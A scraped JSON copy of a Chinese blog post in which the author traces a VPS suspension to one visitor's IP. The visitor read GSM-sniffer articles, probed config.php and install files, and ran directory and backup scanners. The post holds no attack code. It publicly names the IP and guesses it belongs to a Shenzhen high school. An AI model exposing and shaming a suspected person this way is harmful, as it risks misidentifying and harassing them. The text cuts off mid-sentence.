-
Notifications
You must be signed in to change notification settings - Fork 0
/
item.json
72 lines (72 loc) · 1.51 MB
/
item.json
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
[
{"title": ["IP\u4e3a113.116.6.6\u7684\u540c\u5b66\uff0c\u6211\u6709\u8bdd\u60f3\u5bf9\u4f60\u8bf4"], "date": ["KBdancer", " \u53d1\u8868\u4e8e 2018-08-15, 3:06 PM. \n\u53d1\u8868\u5728\uff1a\n\t\t\t\t\t\t\t\t\n ", "\u968f\u624b\u8bb0", "\n"], "content": ["<div class=\"post-body\">\n<h2>\r\n\t\u80cc\u666f\r\n</h2>\r\n<p>\r\n\t\u4eca\u5929\u4e0a\u5348\u6211\u5728\u5de5\u4f5c\u7684\u65f6\u5019\u5076\u7136\u60f3\u8d77\u6765\u535a\u5ba2\u6240\u5728\u7684vps\u53ef\u80fd\u9700\u8981\u7eed\u8d39\u4e86\uff0c\u767b\u5f55\u5230idc\u7684\u7ba1\u7406\u9875\u9762\u5ffd\u7136\u53d1\u73b0\u6211\u7684\u5c0f\u6c34\u7ba1VPS\u72b6\u6001\u4e3a\u201c\u6682\u505c\u201d\uff0c\u4ed4\u7ec6\u67e5\u770b\u5230\u671f\u65f6\u95f4\u4e3a2018\u5e7410\u6708\u591a\uff0c\u8fd9\u4e5f\u8fd8\u6ca1\u5230\u671f\uff0c\u5947\u4e86\u602a\u4e86\uff0c\u6309\u7167\u60ef\u4f8bidc\u5e94\u8be5\u5728\u64cd\u4f5c\u7684\u65f6\u5019\u4f1a\u53d1\u9001\u63d0\u9192\u90ae\u4ef6\u7ed9\u6211\uff0c\u4e8e\u662f\u6211\u627e\u5230\u4e86\u8fd9\u6837\u4e00\u5c01\u90ae\u4ef6</p><div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=684\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201808/3508fa5180b23d2fbd0f0661e7e36698.png\" alt=\"\u706b\u72d0\u622a\u56fe_2018-08-15t04-43-49.365z.png - \u5927\u5c0f: 33.57 KB - \u5c3a\u5bf8: 810 x 328 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"810\" height=\"328\"></a></div>\u90ae\u4ef6\u7684\u5927\u6982\u610f\u601d\u662f\u6211\u7684\u670d\u52a1\u5668\u88ab\u6682\u505c\u4e86\uff0c\u6682\u505c\u7684\u7406\u7531\u7528\u9ed1\u8272\u52a0\u7c97\u5b57\u4f53\u6807\u51fa\u201c\u8d44\u6e90\u6ee5\u7528\uff1a\u8d85\u51fa15%\u4ee5\u4e0a\u201d\uff0c\u90ae\u4ef6\u53d1\u9001\u65f6\u95f4\u4e3a\u5f53\u5730\u76842018\u5e748\u670815\u53f70\u70b906\u5206\uff0c\u4e5f\u5c31\u662f\u56fd\u5185\u65f6\u95f42018\u5e748\u670815\u53f712\u70b906\u5206\uff0c\u65f6\u5dee12\u4e2a\u5c0f\u65f6\u3002\r\n\r\n<p>\r\n\t\u8fd9\u6837\u770b\u6765\u5e94\u8be5\u662f\u670d\u52a1\u5668\u67d0\u4e9b\u5e94\u7528\u51fa\u73b0\u4e86\u5f02\u5e38\u5bfc\u81f4\uff0c\u4f46\u662f\u73b0\u5728\u670d\u52a1\u5668\u5904\u4e8e\u6682\u505c\u72b6\u6001\uff0c\u6211\u53c8\u65e0\u6cd5\u767b\u5f55\u670d\u52a1\u5668\uff0c\u65e0\u6cd5\u67e5\u660e\u5177\u4f53\u539f\u56e0\uff0c\u6240\u4ee5\u53ea\u80fd\u53d1Ticket\u8fc7\u53bb\u5bfb\u6c42\u5e2e\u52a9\u3002\r\n</p>\r\n<p>\r\n\t\u4e8e\u662f\u535a\u4e3b\u6211\u53c8\u4e00\u6b21\u65bd\u5c5532\u7ea7\u57fa\u7840\u82f1\u8bed\u80fd\u529b\u4e0eidc\u8fdb\u884c\u6c9f\u901a\uff0cidc\u90a3\u8fb9\u63d0\u4f9b7\u00d724\u5c0f\u65f6\u670d\u52a1\uff0c\u867d\u7136\u662f\u51cc\u6668\uff0c\u4f46\u662fidc\u4f9d\u7136\u572810\u5206\u949f\u540e\u56de\u590d\u4e86\u6211</p><div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=685\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201808/347932e4ff3feba58dabafa3035d5500.png\" alt=\"\u706b\u72d0\u622a\u56fe_2018-08-15t06-52-53.919z.png - \u5927\u5c0f: 16.31 KB - \u5c3a\u5bf8: 685 x 294 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"685\" height=\"294\"></a></div>idc\u544a\u77e5\u6211\u76d1\u63a7\u7cfb\u7edf\u663e\u793a\u6211\u7684\u670d\u52a1\u5668\u8d1f\u8f7d\u8fc7\u9ad8\uff0c\u5df2\u7ecf\u8d85\u51fa15%\uff0c\u5982\u679c\u6211\u5df2\u7ecf\u51c6\u5907\u597d\u67e5\u660e\u539f\u56e0\uff0c\u4ed6\u4eec\u5c06\u7acb\u523b\u6062\u590d\u670d\u52a1\u3002\r\n\r\n<p>\r\n\t\u6211\u56de\u590dTicket\u8bf4\u5df2\u7ecf\u51c6\u5907\u597d\u4e86\u3002\r\n</p>\r\n<p>\r\n\t\u8bf4\u5b9e\u8bdd\uff0cidc\u7684\u5e94\u6025\u54cd\u5e94\u8fd8\u662f\u5f88\u5230\u4f4d\u7684\uff0c\u5927\u69825\u5206\u949f\u540e\u6211\u7684\u670d\u52a1\u5668\u6062\u590d\u5230\u6b63\u5e38\u72b6\u6001\uff0c\u540c\u65f6idc\u63d0\u793a\u6211\u5c3d\u5feb\u89e3\u51b3\u95ee\u9898\uff0c\u5426\u5219\u8fd8\u662f\u4f1a\u88ab\u76d1\u63a7\u7cfb\u7edf\u81ea\u52a8\u6682\u505c\uff0c\u5e76\u4e14\u544a\u77e5\u4ed6\u4eec\u51fa\u73b0\u7684\u5177\u4f53\u662f\u4ec0\u4e48\u95ee\u9898\u4ed6\u4eec\u597d\u505a\u8bb0\u5f55\u3002</p><div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=686\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201808/b431f22e9edc1040ee690b7b3c874b7f.png\" alt=\"\u706b\u72d0\u622a\u56fe_2018-08-15t06-58-38.408z.png - \u5927\u5c0f: 16.23 KB - \u5c3a\u5bf8: 817 x 266 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"817\" height=\"266\"></a></div>\u6b64\u65f6\u5df2\u7ecf\u8ddd\u79bbIDC\u53d1\u51fa\u6682\u505c\u8b66\u544a\u90ae\u4ef6\u5df2\u7ecf\u8fc7\u53bb\u4e861\u4e2a\u5c0f\u65f6\u3002\r\n\r\n<h2>\r\n\t\u6392\u67e5\r\n</h2>\r\n<p>\r\n\t\u5728\u670d\u52a1\u5668\u6062\u590d\u6b63\u5e38\u72b6\u6001\u540e\u6211\u8fc5\u901f\u767b\u5f55\u5230\u670d\u52a1\u5668\uff0ctop\u547d\u4ee4\u663e\u793aCPU\u5360\u7528\u5df2\u7ecf\u8fbe\u523080%\uff0c\u51fa\u73b0\u5927\u91cf\u7684httpd\u8fdb\u7a0b\uff0c\u56e0\u4e3a\u6211\u7684\u535a\u5ba2\u662f\u8dd1\u5728apache\u4e0b\u9762\uff0c\u6240\u4ee5\u5224\u65ad\u5e94\u8be5\u662f\u535a\u5ba2\u6709\u5927\u91cf\u7684\u8bbf\u95ee\u8bf7\u6c42\u5bfc\u81f4\u3002\r\n</p>\r\n<p>\r\n\t\u4e3a\u4e86\u9632\u6b62\u670d\u52a1\u5668\u518d\u6b21\u88ab\u62c9\u9ed1\uff0c\u6240\u4ee5\u6211\u5148\u6682\u505c\u4e86nginx\u670d\u52a1\uff0c\u8ba9CPU\u5148\u964d\u4e0b\u6765\uff0c\u7136\u540e\u544a\u77e5IDC\u6211\u7684\u670d\u52a1\u5668\u7591\u4f3c\u906d\u5230\u653b\u51fb\u3002\r\n</p>\r\n<p>\r\n\t\u63a5\u4e0b\u6765\u6211\u5c31\u5f97\u770b\u770b\u662f\u6765\u81ea\u54ea\u91cc\u7684\u653b\u51fb\uff0c\u62d6\u51fa\u65e5\u5fd7\u5230\u672c\u5730\uff0c\u6839\u636eweb\u8bbf\u95ee\u65e5\u5fd7\u57fa\u672c\u4e0a\u641e\u6e05\u695a\u4e86\u662f\u4ec0\u4e48\u95ee\u9898\uff0c\u4e0b\u9762\u5c31\u7a0d\u5fae\u505a\u4e2a\u5206\u6790\u3002\r\n</p>\r\n<h2>\r\n\t\u590d\u76d8\r\n</h2>\r\n<p>\r\n\t\u9996\u5148\uff0c\u5728\u65e5\u5fd7\u6587\u4ef6\u91cc\u9762\u627e\u5230\u4e86ip\u4e3a113.116.6.6\u5927\u91cf\u8fde\u7eed\u7684\u8bbf\u95ee\u8bb0\u5f55\uff0c\u786e\u5b9a\u4e86\u5acc\u7591IP\u662f113.116.6.6\u3002\r\n</p>\r\n<p>\r\n\t\u6839\u636e\u8bbf\u95ee\u987a\u5e8f\u5224\u65ad\u5927\u6982\u662f\u8fd9\u4e48\u4e2a\u6d41\u7a0b\uff1a\r\n</p>\r\n<p>\r\n\t113.116.6.6 \u572809:45:30\u7684\u65f6\u5019\u4f7f\u7528IE\u5185\u6838\u6d4f\u89c8\u5668\u6253\u5f00\u4e86\u6211\u535a\u5ba2\u7684\u4e00\u7bc7\u6587\u7ae0\uff0c\u6587\u7ae0\u94fe\u63a5\u4e3a https://www.92ez.com/?action=show&id=23345 \uff0c\u8fd9\u662f\u6211\u57282015\u5e748\u670828\u53f7\u53d1\u5e03\u7684\u4e00\u7bc7\u540d\u4e3a \u201ckali linux 2.0 \u914d\u7f6eGSM Sniffer\u73af\u5883\u201d \u7684\u6587\u7ae0\uff0c\u4e3b\u8981\u76ee\u7684\u662f\u666e\u53caGSM Sniffer\u7684\u77e5\u8bc6\uff0c\u5f53\u65f6GSM Sniffer\u5f88\u706b\u7684\u65f6\u5019\u73a9\u7684\u4eba\u4e5f\u5f88\u591a\uff0c\u535a\u4e3b\u4e5f\u662f\u5176\u4e2d\u4e00\u4e2a\uff0c\u4e3a\u4e86\u65b9\u4fbf\u5927\u5bb6\u6240\u4ee5\u5199\u7684\u4e00\u4e2a\u79d1\u666e\u6587\u3002</p><div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=687\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201808/76c6614f36b05dc3d17dd39d2a5554d6.png\" alt=\"\u706b\u72d0\u622a\u56fe_2018-08-15t07-16-09.621z.png - \u5927\u5c0f: 510.92 KB - \u5c3a\u5bf8: 973 x 581 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"900\" height=\"538\"></a></div>\u53ef\u80fd\u662f\u6211\u7684\u535a\u5ba2\u5728IE\u5185\u6838\u4e0b\u9762\u7684\u4f53\u9a8c\u4e0d\u591f\u597d\uff0c\u8fd9\u4f4d\u540c\u5b66\u572809:45:36\u7684\u65f6\u5019\u5207\u6362\u5230\u4f7f\u7528Chrome\u5185\u6838\u7684\u730e\u8c79\u6d4f\u89c8\u5668\u91cd\u65b0\u6253\u5f00\u4e86\u8fd9\u7bc7\u6587\u7ae0\u3002\r\n\r\n<p>\r\n\t\u4ec5\u4ec5\u8fc7\u4e86\u4e0d\u52301\u5206\u949f\uff0c\u8fd9\u4f4d\u540c\u5b66\u572809:46:19\u6253\u5f00\u4e86\u53e6\u5916\u4e00\u7bc7\u6587\u7ae0\uff0c\u6587\u7ae0\u94fe\u63a5 https://www.92ez.com/?action=show&id=57\uff0c\u8fd9\u4e00\u7bc7\u6587\u7ae0\u7684\u6807\u9898\u201cMy GSM Sniffer Kit come soon.\u201d\uff0c\u4e3b\u8981\u662f\u5c55\u793a\u4e86\u535a\u4e3b\u6211\u5728\u73a9GSM Sniffer\u65f6\u5019\u7684\u4e00\u4e9b\u6210\u679c</p><div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=692\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201808/7c6b89f1c2668b4132fddcea987ae771.png\" alt=\"\u706b\u72d0\u622a\u56fe_2018-08-15t08-32-17.481z.png - \u5927\u5c0f: 845.08 KB - \u5c3a\u5bf8: 973 x 540 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"900\" height=\"500\"></a></div>\u8fd9\u7bc7\u6587\u7ae0\u53d1\u5e03\u4e8e2015\u5e743\u670822\u53f7\uff0c\u8ddd\u79bb\u73b0\u5728\u5e94\u8be53\u5e74\u534a\u4e86\u3002\r\n\r\n<p>\r\n\t\u4e00\u5206\u949f\u540e\uff0c\u4e5f\u5c31\u662f09:47:26\uff0c\u8fd9\u4f4d\u540c\u5b66\u53c8\u6253\u5f00\u4e86\u4e00\u7bc7\u6587\u7ae0\uff0c\u6587\u7ae0\u94fe\u63a5\u00a0https://www.92ez.com/?action=show&id=76\uff0c\u662f\u4e00\u7bc7\u53d1\u5e03\u4e8e2015\u5e746\u670830\u53f7\uff0c\u6807\u9898\u4e3a\u201c\u73a9osmocom-bb\u9700\u8981\u54ea\u4e9b\u6280\u80fd\uff1f\u3010\u7ffb\u8bd1\u3011\u201d\u7684\u6587\u7ae0\uff0c\u8fd9\u7bc7\u6587\u7ae0\u7ffb\u8bd1\u81eaosmocom.org\u5b98\u65b9\u7f51\u7ad9\uff0c\u4e3b\u8981\u662f\u4e3a\u4e86\u8bf4\u660e\u73a9osmocombb\u9700\u8981\u6709\u4e00\u5b9a\u7684\u57fa\u7840\u77e5\u8bc6\uff0c\u5426\u5219\u4f1a\u78b0\u5230\u5f88\u591a\u95ee\u9898\u3002</p><div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=693\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201808/a4f5fd8af886c06963d1dc57e1d7d4ff.png\" alt=\"\u706b\u72d0\u622a\u56fe_2018-08-15t08-33-13.137z.png - \u5927\u5c0f: 83.01 KB - \u5c3a\u5bf8: 963 x 581 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"900\" height=\"543\"></a></div>\r\n\r\n<p>\r\n\t\u572809:47:56\u7684\u65f6\u5019\uff0c\u8fd9\u4f4d\u540c\u5b66\u53c8\u6253\u5f00\u4e86\u4e00\u7bc7\u6587\u7ae0\uff0c\u6587\u7ae0\u94fe\u63a5\u00a0https://www.92ez.com/?action=show&id=23458\uff0c \u662f\u4e00\u7bc7\u53d1\u5e03\u4e8e2017\u5e7410\u670824\u53f7\uff0c\u6807\u9898\u4e3a\u201cUbuntu \u7f16\u8bd1 OsmocomBB \u73af\u5883 [\u66f4\u65b02017-10-24]\u201d\u7684\u6587\u7ae0\uff0c\u8fd9\u7bc7\u6587\u7ae0\u7684\u76ee\u7684\u662f\u4e3a\u4e86\u7ea0\u6b63\u5b98\u65b9\u7f51\u7ad9\u7ed3\u6784\u53d8\u66f4\u5bfc\u81f4\u7684\u8d44\u6e90\u7f3a\u5931\u95ee\u9898\u3002</p><div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=694\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201808/597dc4231542b69df0e4f553c2434a17.png\" alt=\"\u706b\u72d0\u622a\u56fe_2018-08-15t08-33-51.500z.png - \u5927\u5c0f: 131.54 KB - \u5c3a\u5bf8: 954 x 615 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"900\" height=\"581\"></a></div>\r\n\r\n<p>\r\n\t\u4e0d\u5f97\u4e0d\u8bf4\uff0c\u8fd9\u4f4d\u540c\u5b66\u770b\u6587\u7ae0\u7684\u901f\u5ea6\u771f\u662f\u5feb\uff0c\u4e00\u5206\u949f\u770b\u4e00\u7bc7\u3002\r\n</p>\r\n<p>\r\n\t\u572809:48:21\u7684\u65f6\u5019\uff0c\u8fd9\u4f4d\u540c\u5b66\u56de\u5230\u4e86\u9996\u9875\uff0c\u7136\u540e\u5728\u6d4f\u89c8\u4e8610\u79d2\u949f\u540e\u6253\u5f00\u4e86\u00a0https://www.92ez.com/?action=show&id=23459 \u8fd9\u7bc7\u6587\u7ae0\uff0c\u6807\u9898\u4e3a\u00a0\u201c\u535a\u5ba2\u65b0\u589e\u97f3\u4e50\u529f\u80fd\u7684\u8bf4\u660e\u201d</p><div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=695\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201808/81ffb61f58e45251f688bdafa33b9d89.png\" alt=\"\u706b\u72d0\u622a\u56fe_2018-08-15t08-34-36.913z.png - \u5927\u5c0f: 54.15 KB - \u5c3a\u5bf8: 954 x 452 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"900\" height=\"427\"></a></div>\u6211\u60f3\u5e94\u8be5\u662f\u8fd9\u4f4d\u540c\u5b66\u624b\u6296\u70b9\u9519\u4e86\u5427\uff0c\u4ed6\u5e94\u8be5\u662f\u8981\u70b9 \u201cUbuntu \u7f16\u8bd1 OsmocomBB \u73af\u5883 [\u66f4\u65b02017-10-24]\u201d\u624d\u5bf9\u3002\r\n\r\n<p>\r\n\t\u5341\u5206\u949f\u540e\uff0c\u4e5f\u5c31\u662f10:01:44\uff0c\u8fd9\u4f4d\u540c\u5b66\u76f4\u63a5\u6253\u5f00\u4e86\u8fd9\u4e2a\u94fe\u63a5\u00a0https://www.92ez.com/config.php \uff0c\u5f88\u53ef\u60dc\uff0c\u8fd9\u4e2a\u94fe\u63a5\u6253\u5f00\u662f\u4e00\u7247\u7a7a\u767d\uff0c\u5565\u4e5f\u6ca1\u6709\uff0c\u4f46\u662f\u8fd9\u4f4d\u540c\u5b66\u7684\u601d\u8def\u5f88\u654f\u9510\uff0cconfig.php\u8fd9\u4e2a\u540d\u5b57\u5f88\u7279\u6b8a\uff0c\u770b\u6765\u8fd9\u4f4d\u540c\u5b66\u5bf9php\u662f\u7565\u77e5\u4e00\u4e8c\u7684\uff0c\u56e0\u4e3a\u7f51\u7ad9\u7684\u914d\u7f6e\u4fe1\u606f\u4e00\u822c\u90fd\u5199\u5728\u8fd9\u91cc\u9762\uff0c\u8bf4\u4e0d\u5b9a\u80fd\u7206\u51fa\u70b9\u513f\u5565\uff0c\u800c\u4e14\u5f88\u591aphp\u6846\u67b6\u90fd\u6709\u8fd9\u4e2a\u6587\u4ef6\uff0c\u4e07\u4e00\u78b0\u5230\u4e86\u901a\u7528\u6f0f\u6d1e\u5462\uff0c\u5c82\u4e0d\u662f\u7f8e\u6ecb\u6ecb\uff0c\u4f46\u662f\u5f88\u9057\u61be\uff0c\u6ca1\u53d1\u73b0\u6709\u4ef7\u503c\u7684\u4e1c\u897f\u3002\r\n</p>\r\n<p>\r\n\t\u5f88\u5feb\uff0c\u8fd9\u4f4d\u540c\u5b66\u53c8\u53d1\u73b0\u4e86\u65b0\u7684\u94fe\u63a5\u00a0https://www.92ez.com/attachment.php \u8fd9\u4e2a\u94fe\u63a5\u662f\u7528\u6765\u663e\u793a\u9644\u4ef6\u7684\uff0c\u76f4\u63a5\u6253\u5f00\u4e5f\u662f\u63d0\u793a\u8df3\u8f6c\u9996\u9875\uff0c\u6ca1\u5375\u5b50\u7528</p><div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=688\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201808/8d14663344947ef16e49b36198e339f7.jpg\" alt=\"uuuuuuuuuuuuuu.jpg - \u5927\u5c0f: 30.67 KB - \u5c3a\u5bf8: 580 x 236 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"580\" height=\"236\"></a></div>\r\n\r\n<p>\r\n\t\u53ef\u80fd\u662f\u56e0\u4e3a\u8fd9\u4f4d\u540c\u5b66\u5565\u4e5f\u6ca1\u62ff\u5230\uff0c\u4e00\u6012\u4e4b\u4e0b\u796d\u51fa\u4e86\u4ed6\u73cd\u85cf\u7684\u626b\u63cf\u5668\uff0c\u4e00\u9635\u72c2\u626b</p><div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=689\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201808/81d3ae871471c53a35a7cc493d434983.png\" alt=\"\u5fae\u4fe1\u56fe\u7247_20180815155503.png - \u5927\u5c0f: 102.21 KB - \u5c3a\u5bf8: 815 x 788 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"815\" height=\"788\"></a></div>\u572810:14:37\u7684\u65f6\u5019\u8fd9\u4f4d\u540c\u5b66\u4f7f\u7528\u6d4f\u89c8\u5668\u8bbf\u95ee\u4e86https://www.92ez.com/install.php\uff0c\u8fd9\u4e2a\u6587\u4ef6\u662f\u5f88\u591a\u5f00\u6e90\u7684php\u7cfb\u7edf\u5e38\u89c1\u7684\u5b89\u88c5\u6587\u4ef6\uff0c\u6709\u7684\u5b89\u88c5\u5b8c\u5fd8\u8bb0\u5220\u4e5f\u4f1a\u5b58\u5728\u6f0f\u6d1e\uff0c\u6240\u4ee5\u8fd9\u4f4d\u540c\u5b66\u4ee5\u4e3a\u6211\u535a\u5ba2\u6709\u8fd9\u4e2a\u6f0f\u6d1e\uff0c\u7ed3\u679c\u8fd8\u662f\u5565\u4e5f\u6ca1\u6709\u3002\r\n\r\n<p>\r\n\t\u572810:17:26\u7684\u65f6\u5019\uff0c\u8fd9\u4f4d\u540c\u5b66\u76f4\u63a5\u4f7f\u7528\u76ee\u5f55\u7684\u65b9\u5f0f\u8bbf\u95eeinstall\u00a0https://www.92ez.com/install \u4e5f\u6ca1\u6709\u53cd\u5e94\uff0c\u7136\u540e\u53c8\u6253\u5f00\u4e86\u00a0https://www.92ez.com/install/install.php \u7ed3\u679c\u8fd8\u662f\u4e00\u6837\uff0c\u53c8\u6253\u5f00\u4e86\u00a0https://www.92ez.com/install/install.sql \u7ed3\u679c\u4f9d\u7136\u8df3\u8f6c\u5230\u9996\u9875\uff0c\u54ce\u5440\uff0c\u771f\u7cdf\u7cd5\uff0c\u5565\u4e5f\u6ca1\u6709\u62ff\u5230\u3002\r\n</p>\r\n<p>\r\n\t\u8fd9\u4f4d\u540c\u5b66\u4f7f\u7528\u4e86\u4e24\u4e2a\u4e0d\u540c\u7684\u626b\u63cf\u5668\u8fdb\u884c\u626b\u63cf\uff0c\u4e00\u4e2a\u662f\u626b\u63cf\u8def\u5f84\u7684\uff0c\u4e00\u822c\u662f\u7528\u6765\u5224\u65adcms\u7684\u7c7b\u578b\uff0c\u4e00\u79cd\u662f\u626b\u63cf\u5907\u4efd\u6587\u4ef6\uff0c\u8fd9\u79cd\u626b\u63cf\u4e00\u76f4\u6301\u7eed\u523012:06:15\uff0c\u8fd9\u4e2a\u65f6\u5019IDC\u76d1\u63a7\u53d1\u73b0\u5f02\u5e38\u5e76\u4e14\u5bf9\u6211\u7684\u670d\u52a1\u5668\u6267\u884c\u4e86\u6682\u505c\u64cd\u4f5c\u3002\r\n</p>\r\n<p>\r\n\t\u7ecf\u8fc7\u5c06\u8fd11\u4e2a\u5c0f\u65f6\u7684\u6c9f\u901a\u540e\uff0c\u4e5f\u5c31\u662f13:01:21\u670d\u52a1\u5668\u6062\u590d\uff0c\u8fd9\u4f4d\u540c\u5b66\u7684\u626b\u63cf\u5668\u8fd8\u5728\u626b\uff0c\u5927\u6982\u662f\u53bb\u7761\u5348\u89c9\u4e86\u5427\u3002\r\n</p>\r\n<p>\r\n\t\u4e00\u76f4\u523013:03:09\u7684\u65f6\u5019\u6211\u624b\u52a8\u5173\u95ed\u4e86nginx\u670d\u52a1\u3002\r\n</p>\r\n<h2>\r\n\t\u540e\u8bb0\r\n</h2>\r\n<p>\r\n\t\u867d\u7136\u6211\u4e0d\u77e5\u9053\u8fd9\u4f4d\u540c\u5b66\u5230\u5e95\u6709\u4f55\u610f\u56fe\uff0c\u4f46\u662f\u4ece\u4f60\u6253\u5f00\u7684\u6587\u7ae0\u6765\u770b\uff0c\u60a8\u5e94\u8be5\u662f\u5bf9osmocombb\u5f88\u6709\u5174\u8da3\uff0c\u662f\u56e0\u4e3a\u6700\u8fd1\u77ed\u4fe1\u8bc8\u9a97\u592a\u706b\u4e86\u5417\uff0c\u5bfc\u81f4\u60a8\u7684\u8ba4\u4e3a\u6839\u6e90\u5728\u4e8e\u6211\u7684\u535a\u5ba2\uff1f\u89c9\u5f97\u8981\u4f38\u5f20\u6b63\u4e49\u4e3a\u6c11\u9664\u5bb3\u5bf9\u5417\uff1f\r\n</p>\r\n<p>\r\n\t\u90a3\u62dc\u6258\u60a8\u4ed4\u7ec6\u770b\u597d\u4e86\uff0c\u6211\u6240\u6709\u7684\u6587\u7ae0\u90fd\u662f\u5728\u8ba8\u8bba\u6280\u672f\u95ee\u9898\uff0c\u5e76\u6ca1\u6709\u6559\u4eba\u5982\u4f55\u72af\u7f6a\uff0c\u535a\u4e3b\u6211\u672c\u4eba\u4e5f\u975e\u5e38\u75db\u6068\u62ff\u6280\u672f\u72af\u7f6a\u7684\u4eba\uff0c\u4f46\u662f\u60a8\u771f\u7684\u6ca1\u6709\u5fc5\u8981\u5bf9\u6211512m\u5185\u5b58\u7684\u5c0f\u6c34\u7ba1vps\u52a8\u624b\uff0c\u8fd9\u5bf9\u60a8\u6ca1\u597d\u5904\uff0c\u60a8\u662f\u60f3\u4ece\u6211\u8fd9\u62ff\u8d70\u4ec0\u4e48\u5462\uff1f\u6709\u4ec0\u4e48\u503c\u5f97\u60a8\u62ff\u5462\uff1f\u90fd\u662f\u4e00\u4e9b\u6280\u672f\u6587\u7ae0\uff0c\u800c\u4e14\u90fd\u662f\u516c\u5f00\u7684\uff0c\u771f\u7684\u6ca1\u6709\u4e1c\u897f\u3002\r\n</p>\r\n<p>\r\n\t\u60a8\u7528\u7740\u60a8\u7684win7\uff0c\u8dd1\u7740\u7f51\u4e0a\u968f\u4fbf\u90fd\u80fd\u4e0b\u8f7d\u5230\u7684\u626b\u63cf\u5668\uff0c\u5982\u679c\u4f60\u8ba4\u4e3a\u8fd9\u5c31\u662f\u6240\u8c13\u7684\u9ed1\u5ba2\u6280\u672f\uff0c\u8fd9\u5c31\u662f\u6240\u8c13\u7684\u4f38\u5f20\u6b63\u4e49\uff0c\u8fd9\u6837\u5c31\u80fd\u70ab\u8000\u60a8\u7684\u6280\u672f\uff0c\u90a3\u4e48\u5475\u5475\uff0c\u60a8\u8fd8\u662f\u597d\u597d\u7684\u628a\u4e66\u5ff5\u597d\uff0c\u597d\u5417\uff1f\r\n</p>\r\n<p>\r\n\t\u6700\u540e\u8fd8\u662f\u9644\u4e0a\u4e00\u4e2a\u5927\u6982\u7684\u5b9a\u4f4d\uff0c\u4e0d\u7ba1\u51c6\u4e0d\u51c6\u786e</p><div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=690\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201808/cbe19650421b3374034ab1e1b2fa1959.png\" alt=\"\u706b\u72d0\u622a\u56fe_2018-08-15t08-24-32.033z.png - \u5927\u5c0f: 46.08 KB - \u5c3a\u5bf8: 338 x 318 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"338\" height=\"318\"></a></div><div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=691\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201808/6df4e0665dddd94984da68ea033c66e4.png\" alt=\"\u706b\u72d0\u622a\u56fe_2018-08-15t08-24-06.938z.png - \u5927\u5c0f: 44.14 KB - \u5c3a\u5bf8: 335 x 318 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"335\" height=\"318\"></a></div>\u6df1\u5733\u9ad8\u7ea7\u4e2d\u5b66\uff0c\u4e00\u542c\u5c31\u5f88\u9ad8\u7ea7\r\n\r\n<h2>\r\n\t\u8865\u5145\r\n</h2>\r\n<p>\r\n\t\u5de7\u7684\u662f\u5728\u535a\u5ba2\u6062\u590d\u4e4b\u540e\u4e0d\u5230\u534a\u4e2a\u5c0f\u65f6\uff0c\u4e5f\u5c31\u662f 14:50:14 \uff0c\u906d\u5230\u4e86\u6765\u81ea\u6c5f\u82cf\u5357\u4eac\u7535\u4fe1\u7f51\u6bb5\u4e3a 180.97.35.*\u7684\u76ee\u5f55\u626b\u63cf\uff0c\u4e0d\u8fc7\u8fd9\u4e2a\u770b\u8d77\u6765\u66f4\u50cf\u662f\u4e00\u4e9b\u5b89\u5168\u7f51\u7ad9\u7684\u4f8b\u884c\u626b\u63cf\uff0c\u4e5f\u5c31\u65e0\u6240\u8c13\u4e86</p><div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=697\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201808/a4c0b5ee3b410365c45c034990e3519d.png\" alt=\"\u5c4f\u5e55\u622a\u56fe2018081500.png - \u5927\u5c0f: 646.95 KB - 